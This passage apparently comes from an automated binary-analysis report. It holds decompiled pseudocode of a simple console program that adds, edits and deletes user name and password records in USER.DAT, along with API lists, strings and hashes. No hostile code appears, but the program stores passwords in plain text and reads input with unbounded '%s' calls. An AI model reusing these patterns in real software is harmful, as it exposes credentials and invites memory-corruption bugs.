				intOrPtr _t98;
				intOrPtr _t105;
				char _t106;
				void* _t109;
				void* _t110;
				intOrPtr _t119;
				intOrPtr _t130;
				intOrPtr _t132;
				void* _t136;
				void* _t140;
				void* _t141;
				void* _t142;
				void* _t143;
				void* _t149;
				void* _t150;
				void* _t154;

				_t161 = __fp0;
				_t135 = __esi;
				_t134 = __edi;
				_t113 = __ebx;
				_v48 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v27 = 0;
				_v23 = 0;
				_v19 = 0;
				_v112 = 0;
				_v111 = 0;
				_v107 = 0;
				_v103 = 0;
				_v99 = 0;
				_v95 = 0;
				_v91 = 0;
				_v87 = 0;
				_v83 = 0;
				_v80 = 0;
				_v79 = 0;
				_v75 = 0;
				_v71 = 0;
				_v67 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v16 = 0;
				_v12 = 0;
				E00EC20E0(0, __edi, __esi, 0, __fp0);
				E00EC12B0(0x19, 8);
				_push("User Name  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC738B("%s", 0xee2ee4);
				E00EC12B0(0x19, 0xa);
				_push("Password  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC12F0(_t134, _t135,  &_v112);
				_t66 = E00EC6EF1("USER.DAT", "r");
				_t140 = _t136 + 0x18;
				 *0xee2f28 = _t66;
				while(1) {
					_push( &_v144);
					_push( &_v176);
					_t67 =  *0xee2f28; // 0x0
					_t68 = E00EC7021(_t67, "%s %s %s\n", 0xee2ee0);
					_t141 = _t140 + 0x14;
					if(_t68 == 0xffffffff) {
						break;
					}
					_t109 = E00EC8230(0xee2ee4,  &_v176);
					_t140 = _t141 + 8;
					if(_t109 == 0) {
						_t110 = E00EC8230(0xee2f02,  &_v144);
						_t140 = _t140 + 8;
						if(_t110 == 0) {
							_v16 = _v16 + 1;
						}
					}
				}
				_t116 =  *0xee2f28; // 0x0
				_push(_t116);
				E00EC6DB6(_t113, _t134, _t135, __eflags);
				_t142 = _t141 + 4;
				E00EC20E0(_t116, _t134, _t135, __eflags, _t161);
				__eflags = _v16;
				if(__eflags != 0) {
					E00EC12B0(8, 0xa);
					_push("Are you sure you want to CHANGE user name and/or password? <Y/N> : ");
					E00EC715C(_t113, _t134, _t135, __eflags);
					_t143 = _t142 + 4;
					__eflags = _v5 - 0x59;
					if(__eflags == 0) {
						do {
							L10:
							E00EC20E0(_t116, _t134, _t135, __eflags, _t161);
							_v12 = 0;
							E00EC12B0(0x19, 8);
							_push("NEW User Name        : ");
							E00EC715C(_t113, _t134, _t135, __eflags);
							E00EC738B("%s",  &_v208);
							E00EC12B0(0x19, 0xa);
							_push("NEW Password         : ");
							E00EC715C(_t113, _t134, _t135, __eflags);
							E00EC12F0(_t134, _t135,  &_v48);
							E00EC12B0(0x19, 0xc);
							_push("Confirm NEW Password : ");
							E00EC715C(_t113, _t134, _t135, __eflags);
							E00EC12F0(_t134, _t135,  &_v80);
							_t116 =  &_v80;
							_t84 = E00EC8230( &_v48,  &_v80);
							_t143 = _t143 + 0x1c;
							__eflags = _t84;
							if(__eflags != 0) {
								E00EC20E0( &_v80, _t134, _t135, __eflags, _t161);
								E00EC12B0(0xa, 0xa);
								_push(0xedf710);
								E00EC715C(_t113, _t134, _t135, __eflags);
								_t143 = _t143 + 4;
								_t105 = _v12 + 1;
								__eflags = _t105;
								_v12 = _t105;
							}
							__eflags = _v12;
						} while (__eflags != 0);
						 *0xee2f28 = E00EC6EF1("USER.DAT", 0xedf740);
						_t86 = E00EC6EF1("temp.dat", "a");
						_t149 = _t143 + 0x10;
						 *0xee2f20 = _t86;
						while(1) {
							_push( &_v144);
							_push( &_v176);
							_t87 =  *0xee2f28; // 0x0
							_t88 = E00EC7021(_t87, "%s %s %s\n", 0xee2ee0);
							_t150 = _t149 + 0x14;
							__eflags = _t88 - 0xffffffff;
							if(__eflags == 0) {
								break;
							}
							_t95 = E00EC8230(0xee2ee4,  &_v176);
							_t154 = _t150 + 8;
							__eflags = _t95;
							if(__eflags != 0) {
								L17:
								_push( &_v144);
								_push( &_v176);
								_push(0xee2ee0);
								_push("%s %s %s\n");
								_t130 =  *0xee2f20; // 0x0
								_push(_t130);
								E00EC6F06(_t113, _t134, _t135, __eflags);
								_t149 = _t154 + 0x14;
								L19:
								continue;
							}
							_t98 = E00EC8230(0xee2f02,  &_v144);
							_t154 = _t154 + 8;
							__eflags = _t98;
							if(__eflags == 0) {
								_push( &_v48);
								_push( &_v208);
								_push(0xee2ee0);
								_push("%s %s %s\n");
								_t132 =  *0xee2f20; // 0x0
								_push(_t132);
								E00EC6F06(_t113, _t134, _t135, __eflags);
								_t149 = _t154 + 0x14;
								goto L19;
							}
							goto L17;
						}
						_t89 =  *0xee2f28; // 0x0
						_push(_t89);
						E00EC6DB6(_t113, _t134, _t135, __eflags);
						_t119 =  *0xee2f20; // 0x0
						_push(_t119);
						E00EC6DB6(_t113, _t134, _t135, __eflags);
						E00EC20E0(_t119, _t134, _t135, __eflags, _t161);
						E00EC12B0(0x19, 0xa);
						_push("Record has been EDITED successfully!");
						return E00EC715C(_t113, _t134, _t135, __eflags);
					}
					_t106 = _v5;
					__eflags = _t106 - 0x79;
					if(__eflags != 0) {
						return _t106;
					}
					goto L10;
				}
				E00EC12B0(0xa, 0xa);
				_push(0xedf640);
				return E00EC715C(_t113, _t134, _t135, __eflags);
			}

0x00ec2b10
0x00ec2b10
0x00ec2b10
0x00ec2b10
0x00ec2b19
0x00ec2b1f
0x00ec2b22
0x00ec2b25
0x00ec2b28
0x00ec2b2b
0x00ec2b2e
0x00ec2b31
0x00ec2b34
0x00ec2b37
0x00ec2b3d
0x00ec2b40
0x00ec2b43
0x00ec2b46
0x00ec2b49
0x00ec2b4c
0x00ec2b4f
0x00ec2b52
0x00ec2b55
0x00ec2b5b
0x00ec2b5e
0x00ec2b61
0x00ec2b64
0x00ec2b67
0x00ec2b6a
0x00ec2b6d
0x00ec2b70
0x00ec2b73
0x00ec2b7a
0x00ec2b81
0x00ec2b8a
0x00ec2b8f
0x00ec2b94
0x00ec2ba6
0x00ec2bb2
0x00ec2bb7
0x00ec2bbc
0x00ec2bc8
0x00ec2bd7
0x00ec2bdc
0x00ec2bdf
0x00ec2be4
0x00ec2bea
0x00ec2bf1
0x00ec2bfc
0x00ec2c02
0x00ec2c07
0x00ec2c0d
0x00000000
0x00000000
0x00ec2c1b
0x00ec2c20
0x00ec2c25
0x00ec2c33
0x00ec2c38
0x00ec2c3d
0x00ec2c45
0x00ec2c45
0x00ec2c3d
0x00ec2c48
0x00ec2c4a
0x00ec2c50
0x00ec2c51
0x00ec2c56
0x00ec2c59
0x00ec2c5e
0x00ec2c62
0x00ec2c83
0x00ec2c88
0x00ec2c8d
0x00ec2c92
0x00ec2c99
0x00ec2c9c
0x00ec2cab
0x00ec2cab
0x00ec2cab
0x00ec2cb0
0x00ec2cbb
0x00ec2cc0
0x00ec2cc5
0x00ec2cd9
0x00ec2ce5
0x00ec2cea
0x00ec2cef
0x00ec2cfb
0x00ec2d04
0x00ec2d09
0x00ec2d0e
0x00ec2d1a
0x00ec2d1f
0x00ec2d27
0x00ec2d2c
0x00ec2d2f
0x00ec2d31
0x00ec2d33
0x00ec2d3c
0x00ec2d41
0x00ec2d46
0x00ec2d4b
0x00ec2d51
0x00ec2d51
0x00ec2d54
0x00ec2d54
0x00ec2d57
0x00ec2d57
0x00ec2d73
0x00ec2d82
0x00ec2d87
0x00ec2d8a
0x00ec2d8f
0x00ec2d95
0x00ec2d9c
0x00ec2da7
0x00ec2dad
0x00ec2db2
0x00ec2db5
0x00ec2db8
0x00000000
0x00000000
0x00ec2dca
0x00ec2dcf
0x00ec2dd2
0x00ec2dd4
0x00ec2dee
0x00ec2df4
0x00ec2dfb
0x00ec2dfc
0x00ec2e01
0x00ec2e06
0x00ec2e0c
0x00ec2e0d
0x00ec2e12
0x00ec2e3b
0x00000000
0x00ec2e3b
0x00ec2de2
0x00ec2de7
0x00ec2dea
0x00ec2dec
0x00ec2e1a
0x00ec2e21
0x00ec2e22
0x00ec2e27
0x00ec2e2c
0x00ec2e32
0x00ec2e33
0x00ec2e38
0x00000000
0x00ec2e38
0x00000000
0x00ec2dec
0x00ec2e40
0x00ec2e45
0x00ec2e46
0x00ec2e4e
0x00ec2e54
0x00ec2e55
0x00ec2e5d
0x00ec2e66
0x00ec2e6b
0x00000000
0x00ec2e75
0x00ec2c9e
0x00ec2ca2
0x00ec2ca5
0x00ec2e7b
0x00ec2e7b
0x00000000
0x00ec2ca5
0x00ec2c68
0x00ec2c6d
0x00000000

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC2B94
_wscanf.LIBCMT ref: 00EC2BA6

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC2BBC

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC2C02

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_wprintf.LIBCMT ref: 00EC2C72
_wprintf.LIBCMT ref: 00EC2C8D
_wprintf.LIBCMT ref: 00EC2CC5
_wscanf.LIBCMT ref: 00EC2CD9
_wprintf.LIBCMT ref: 00EC2CEF
_wprintf.LIBCMT ref: 00EC2D0E
_wprintf.LIBCMT ref: 00EC2D46
_swscanf.LIBCMT ref: 00EC2DAD
_fprintf.LIBCMT ref: 00EC2E0D
_fprintf.LIBCMT ref: 00EC2E33
_wprintf.LIBCMT ref: 00EC2E70

Strings

USER.DAT, xrefs: 00EC2BD2
Password : , xrefs: 00EC2BB7
User Name : , xrefs: 00EC2B8F
%s %s %s, xrefs: 00EC2DA2
USER.DAT, xrefs: 00EC2D66
%s %s %s, xrefs: 00EC2E27
temp.dat, xrefs: 00EC2D7D
Confirm NEW Password : , xrefs: 00EC2D09
%s %s %s, xrefs: 00EC2E01
NEW User Name : , xrefs: 00EC2CC0
NEW Password : , xrefs: 00EC2CEA
Are you sure you want to CHANGE user name and/or password? <Y/N> : , xrefs: 00EC2C88
%s %s %s, xrefs: 00EC2BF7
Record has been EDITED successfully!, xrefs: 00EC2E6B

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_fprintf_swscanf_wscanf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_vfscanf_vwscanf
String ID: %s %s %s$%s %s %s$%s %s %s$%s %s %s$Are you sure you want to CHANGE user name and/or password? <Y/N> : $Confirm NEW Password : $NEW Password : $NEW User Name : $Password : $Record has been EDITED successfully!$USER.DAT$USER.DAT$User Name : $temp.dat
API String ID: 1431756120-371646773
Opcode ID: 2fc68e7b740775c0f4fb58646005cb7fc7396c392b9f754e25b76502b877ccca
Instruction ID: 5a622f3f083263f55444227ac74fb8580ede154b0811e8f021881f33f3d33692
Opcode Fuzzy Hash: 2fc68e7b740775c0f4fb58646005cb7fc7396c392b9f754e25b76502b877ccca
Instruction Fuzzy Hash: 4B81D6B1E50348AEDB04EFE4CE43FDDB6B49B15700F04606EF505B6391EA729206CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2800, Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 223
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00EC2800(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				intOrPtr _v12;
				char _v20;
				char _v23;
				char _v27;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v47;
				char _v51;
				char _v52;
				char _v84;
				char _v116;
				char _v129;
				char _v139;
				char _v154;
				char _v188;
				void* __ebp;
				intOrPtr _t47;
				void* _t49;
				char _t54;
				intOrPtr _t56;
				void* _t58;
				intOrPtr _t62;
				void* _t65;
				intOrPtr _t67;
				intOrPtr _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t83;
				void* _t86;
				void* _t88;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				intOrPtr _t96;
				intOrPtr _t99;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t125;
				void* _t127;
				void* _t128;
				void* _t132;
				void* _t133;
				void* _t139;

				_t146 = __fp0;
				_t117 = __esi;
				_t116 = __edi;
				_t89 = __ebx;
				_v52 = 0;
				_v51 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v27 = 0;
				_v23 = 0;
				_v12 = 0;
				E00EC20E0(__ecx, __edi, __esi, 0, __fp0);
				E00EC12B0(0x19, 8);
				_push("User Name  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC738B("%s", 0xee2ee4);
				E00EC12B0(0x19, 0xa);
				_push("Password  : ");
				E00EC715C(__ebx, __edi, __esi, 0);
				E00EC12F0(_t116, _t117,  &_v52);
				_t47 = E00EC6EF1("USER.DAT", "r");
				_t122 = _t118 + 0x18;
				 *0xee2f28 = _t47;
				while(1) {
					_push( &_v116);
					_push( &_v84);
					_t92 =  *0xee2f28; // 0x0
					_t49 = E00EC7021(_t92, "%s %s %s\n", 0xee2ee0);
					_t123 = _t122 + 0x14;
					if(_t49 == 0xffffffff) {
						break;
					}
					_t86 = E00EC8230(0xee2ee4,  &_v84);
					_t122 = _t123 + 8;
					if(_t86 == 0) {
						_t88 = E00EC8230(0xee2f02,  &_v116);
						_t122 = _t122 + 8;
						if(_t88 == 0) {
							_v12 = _v12 + 1;
						}
					}
				}
				_t105 =  *0xee2f28; // 0x0
				_push(_t105);
				E00EC6DB6(_t89, _t116, _t117, __eflags);
				_t124 = _t123 + 4;
				E00EC20E0(_t92, _t116, _t117, __eflags, _t146);
				__eflags = _v12;
				if(__eflags != 0) {
					E00EC12B0(0xf, 0xa);
					_push("Are you sure you want to DELETE this user? <Y/N> : ");
					E00EC715C(_t89, _t116, _t117, __eflags);
					_t125 = _t124 + 4;
					_t54 = _v5;
					__eflags = _t54 - 0x59;
					if(_t54 == 0x59) {
						L10:
						 *0xee2f28 = E00EC6EF1("USER.DAT", "r");
						_t56 = E00EC6EF1("temp.dat", "a");
						_t127 = _t125 + 0x10;
						 *0xee2f20 = _t56;
						while(1) {
							_push( &_v116);
							_push( &_v84);
							_t93 =  *0xee2f28; // 0x0
							_t58 = E00EC7021(_t93, "%s %s %s\n", 0xee2ee0);
							_t128 = _t127 + 0x14;
							__eflags = _t58 - 0xffffffff;
							if(__eflags == 0) {
								break;
							}
							_t79 = E00EC8230(0xee2ee4,  &_v84);
							_t139 = _t128 + 8;
							__eflags = _t79;
							if(__eflags != 0) {
								L14:
								_push( &_v116);
								_push( &_v84);
								_push(0xee2ee0);
								_push("%s %s %s\n");
								_t80 =  *0xee2f20; // 0x0
								_push(_t80);
								E00EC6F06(_t89, _t116, _t117, __eflags);
								_t127 = _t139 + 0x14;
								L15:
								continue;
							}
							_t83 = E00EC8230(0xee2f02,  &_v116);
							_t127 = _t139 + 8;
							__eflags = _t83;
							if(__eflags == 0) {
								goto L15;
							}
							goto L14;
						}
						_t94 =  *0xee2f28; // 0x0
						_push(_t94);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						_t107 =  *0xee2f20; // 0x0
						_push(_t107);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						 *0xee2f28 = E00EC6EF1("LOG.DAT", "r");
						_t62 = E00EC6EF1("temp.dat", "w");
						_t132 = _t128 + 0x18;
						 *0xee2f20 = _t62;
						while(1) {
							_push( &_v129);
							_push( &_v139);
							_push( &_v154);
							_t96 =  *0xee2f28; // 0x0
							_t65 = E00EC7021(_t96, "%s %s %s %s",  &_v188);
							_t133 = _t132 + 0x18;
							__eflags = _t65 - 0xffffffff;
							if(__eflags == 0) {
								break;
							}
							E00ED7CF2( &_v188);
							E00ED7CF2( &_v20);
							_t75 = E00EC8230( &_v188,  &_v20);
							_t132 = _t133 + 0x10;
							__eflags = _t75;
							if(__eflags != 0) {
								_push( &_v129);
								_push( &_v139);
								_push( &_v154);
								_push( &_v188);
								_push("%s %s %s %s\n");
								_t99 =  *0xee2f20; // 0x0
								_push(_t99);
								E00EC6F06(_t89, _t116, _t117, __eflags);
								_t132 = _t132 + 0x18;
							}
						}
						_t109 =  *0xee2f28; // 0x0
						_push(_t109);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						_t67 =  *0xee2f20; // 0x0
						_push(_t67);
						E00EC6DB6(_t89, _t116, _t117, __eflags);
						E00EC20E0(_t96, _t116, _t117, __eflags, _t146);
						E00EC12B0(0x19, 0xa);
						_push("Record DELETED successfully!");
						return E00EC715C(_t89, _t116, _t117, __eflags);
					}
					__eflags = _v5 - 0x79;
					if(_v5 != 0x79) {
						return _t54;
					}
					goto L10;
				}
				E00EC12B0(0xa, 0xa);
				_push(0xedf4fc);
				return E00EC715C(_t89, _t116, _t117, __eflags);
			}

0x00ec2800
0x00ec2800
0x00ec2800
0x00ec2800
0x00ec2809
0x00ec280f
0x00ec2812
0x00ec2815
0x00ec2818
0x00ec281b
0x00ec281e
0x00ec2821
0x00ec2824
0x00ec2827
0x00ec282e
0x00ec2837
0x00ec283c
0x00ec2841
0x00ec2853
0x00ec285f
0x00ec2864
0x00ec2869
0x00ec2875
0x00ec2884
0x00ec2889
0x00ec288c
0x00ec2891
0x00ec2894
0x00ec2898
0x00ec28a3
0x00ec28aa
0x00ec28af
0x00ec28b5
0x00000000
0x00000000
0x00ec28c0
0x00ec28c5
0x00ec28ca
0x00ec28d5
0x00ec28da
0x00ec28df
0x00ec28e7
0x00ec28e7
0x00ec28df
0x00ec28ea
0x00ec28ec
0x00ec28f2
0x00ec28f3
0x00ec28f8
0x00ec28fb
0x00ec2900
0x00ec2904
0x00ec2925
0x00ec292a
0x00ec292f
0x00ec2934
0x00ec2937
0x00ec293b
0x00ec293e
0x00ec294d
0x00ec295f
0x00ec296e
0x00ec2973
0x00ec2976
0x00ec297b
0x00ec297e
0x00ec2982
0x00ec298d
0x00ec2994
0x00ec2999
0x00ec299c
0x00ec299f
0x00000000
0x00000000
0x00ec29aa
0x00ec29af
0x00ec29b2
0x00ec29b4
0x00ec29cb
0x00ec29ce
0x00ec29d2
0x00ec29d3
0x00ec29d8
0x00ec29dd
0x00ec29e2
0x00ec29e3
0x00ec29e8
0x00ec29eb
0x00000000
0x00ec29eb
0x00ec29bf
0x00ec29c4
0x00ec29c7
0x00ec29c9
0x00000000
0x00000000
0x00000000
0x00ec29c9
0x00ec29ed
0x00ec29f3
0x00ec29f4
0x00ec29fc
0x00ec2a02
0x00ec2a03
0x00ec2a1d
0x00ec2a2c
0x00ec2a31
0x00ec2a34
0x00ec2a39
0x00ec2a3c
0x00ec2a43
0x00ec2a4a
0x00ec2a57
0x00ec2a5e
0x00ec2a63
0x00ec2a66
0x00ec2a69
0x00000000
0x00000000
0x00ec2a72
0x00ec2a7e
0x00ec2a91
0x00ec2a96
0x00ec2a99
0x00ec2a9b
0x00ec2aa0
0x00ec2aa7
0x00ec2aae
0x00ec2ab5
0x00ec2ab6
0x00ec2abb
0x00ec2ac1
0x00ec2ac2
0x00ec2ac7
0x00ec2ac7
0x00ec2aca
0x00ec2acf
0x00ec2ad5
0x00ec2ad6
0x00ec2ade
0x00ec2ae3
0x00ec2ae4
0x00ec2aec
0x00ec2af5
0x00ec2afa
0x00000000
0x00ec2b04
0x00ec2944
0x00ec2947
0x00ec2b0a
0x00ec2b0a
0x00000000
0x00ec2947
0x00ec290a
0x00ec290f
0x00000000

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC2841
_wscanf.LIBCMT ref: 00EC2853

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC2869

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC28AA

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_wprintf.LIBCMT ref: 00EC2914
_wprintf.LIBCMT ref: 00EC292F
_swscanf.LIBCMT ref: 00EC2994
_fprintf.LIBCMT ref: 00EC29E3
_swscanf.LIBCMT ref: 00EC2A5E
_fprintf.LIBCMT ref: 00EC2AC2
_wprintf.LIBCMT ref: 00EC2AFF

Strings

%s %s %s, xrefs: 00EC289E
Record DELETED successfully!, xrefs: 00EC2AFA
temp.dat, xrefs: 00EC2969
%s %s %s, xrefs: 00EC29D8
USER.DAT, xrefs: 00EC2952
USER.DAT, xrefs: 00EC287F
LOG.DAT, xrefs: 00EC2A10
User Name : , xrefs: 00EC283C
Are you sure you want to DELETE this user? <Y/N> : , xrefs: 00EC292A
Password : , xrefs: 00EC2864
%s %s %s %s, xrefs: 00EC2AB6
%s %s %s, xrefs: 00EC2988
temp.dat, xrefs: 00EC2A27
%s %s %s %s, xrefs: 00EC2A52

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$_swscanf$__wstrtime_fprintf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_vfscanf_vwscanf_wscanf
String ID: %s %s %s$%s %s %s$%s %s %s$%s %s %s %s$%s %s %s %s$Are you sure you want to DELETE this user? <Y/N> : $LOG.DAT$Password : $Record DELETED successfully!$USER.DAT$USER.DAT$User Name : $temp.dat$temp.dat
API String ID: 3163849712-4002591224
Opcode ID: f0e9f5857048f7c21c6ab7e4386aa2fa3af34e862a5b80b6b9b8591f5fd7851b
Instruction ID: f7dd8361c588936db642563d7dd164316709e21f891a1a62217c6737d8468ce1
Opcode Fuzzy Hash: f0e9f5857048f7c21c6ab7e4386aa2fa3af34e862a5b80b6b9b8591f5fd7851b
Instruction Fuzzy Hash: 8471CDB3E003485ED715EFE49D43FAE72B8AB55700F04212EF615B5391FA72960ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EC25C0, Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 155
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00EC25C0(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				char _v12;
				char _v15;
				char _v19;
				char _v23;
				char _v27;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v44;
				char _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v67;
				char _v71;
				char _v75;
				char _v76;
				char _v108;
				char _v140;
				void* __ebp;
				intOrPtr _t42;
				void* _t44;
				intOrPtr _t53;
				intOrPtr _t58;
				intOrPtr _t67;
				void* _t70;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t76;
				intOrPtr _t79;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t103;

				_t103 = __fp0;
				_t84 = __esi;
				_t83 = __edi;
				_t73 = __ebx;
				_v8 = 0;
				_v12 = 0;
				_v76 = 0;
				_v75 = 0;
				_v71 = 0;
				_v67 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v44 = 0;
				_t74 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v27 = 0;
				_v23 = 0;
				_v19 = 0;
				_v15 = 0;
				do {
					E00EC20E0(_t74, _t83, _t84, 0, _t103);
					_v8 = 0;
					E00EC12B0(0x19, 8);
					_push("User Name        : ");
					E00EC715C(_t73, _t83, _t84, 0);
					E00EC738B("%s", 0xee2ee4);
					_t42 = E00EC6EF1("USER.DAT", "r");
					_t88 = _t85 + 0x14;
					 *0xee2f28 = _t42;
					_v12 = 0;
					while(1) {
						_push( &_v140);
						_push( &_v108);
						_t75 =  *0xee2f28; // 0x0
						_t44 = E00EC7021(_t75, "%s %s %s\n", 0xee2ee0);
						_t89 = _t88 + 0x14;
						if(_t44 == 0xffffffff) {
							goto L6;
						}
						_t70 = E00EC8230( &_v108, 0xee2ee4);
						_t88 = _t89 + 8;
						if(_t70 == 0) {
							_v12 = _v12 + 1;
						}
					}
					L6:
					_t74 =  *0xee2f28; // 0x0
					_push(_t74);
					E00EC6DB6(_t73, _t83, _t84, __eflags);
					_t90 = _t89 + 4;
					__eflags = _v12;
					if(__eflags == 0) {
						E00EC12B0(0x19, 0xa);
						_push("Password         : ");
						E00EC715C(_t73, _t83, _t84, __eflags);
						E00EC12F0(_t83, _t84,  &_v76);
						E00EC12B0(0x19, 0xc);
						_push("Confirm Password : ");
						E00EC715C(_t73, _t83, _t84, __eflags);
						_t74 =  &_v44;
						E00EC12F0(_t83, _t84,  &_v44);
						_t53 = E00EC8230(0xee2f02,  &_v44);
						_t85 = _t90 + 0x10;
						__eflags = _t53;
						if(__eflags != 0) {
							E00EC20E0( &_v44, _t83, _t84, __eflags, _t103);
							E00EC12B0(0xa, 0xa);
							_push(0xedf444);
							E00EC715C(_t73, _t83, _t84, __eflags);
							_t85 = _t85 + 4;
							_t67 = _v8 + 1;
							__eflags = _t67;
							_v8 = _t67;
						}
					} else {
						E00EC12B0(0xa, 0xa);
						_push(0xedf3e0);
						E00EC715C(_t73, _t83, _t84, __eflags);
						_t85 = _t90 + 4;
						_v8 = _v8 + 1;
					}
					__eflags = _v8;
				} while (__eflags != 0);
				 *0xee2f28 = E00EC6EF1("USER.DAT", 0xedf474);
				_t76 =  *0xee2f28; // 0x0
				_push(_t76);
				E00EC6DB6(_t73, _t83, _t84, __eflags);
				 *0xee2f28 = E00EC6EF1("USER.DAT", "a");
				_push(0xee2f02);
				_push(0xee2ee4);
				_push(0xee2ee0);
				_push("%s %s %s\n");
				_t79 =  *0xee2f28; // 0x0
				_push(_t79);
				E00EC6F06(_t73, _t83, _t84, __eflags);
				_t58 =  *0xee2f28; // 0x0
				_push(_t58);
				E00EC6DB6(_t73, _t83, _t84, __eflags);
				E00EC20E0(_t76, _t83, _t84, __eflags, _t103);
				E00EC12B0(0x19, 0xa);
				_push("Record ADDED successfully!");
				return E00EC715C(_t73, _t83, _t84, __eflags);
			}

0x00ec25c0
0x00ec25c0
0x00ec25c0
0x00ec25c0
0x00ec25c9
0x00ec25d0
0x00ec25d7
0x00ec25dd
0x00ec25e0
0x00ec25e3
0x00ec25e6
0x00ec25e9
0x00ec25ec
0x00ec25ef
0x00ec25f2
0x00ec25f5
0x00ec25f9
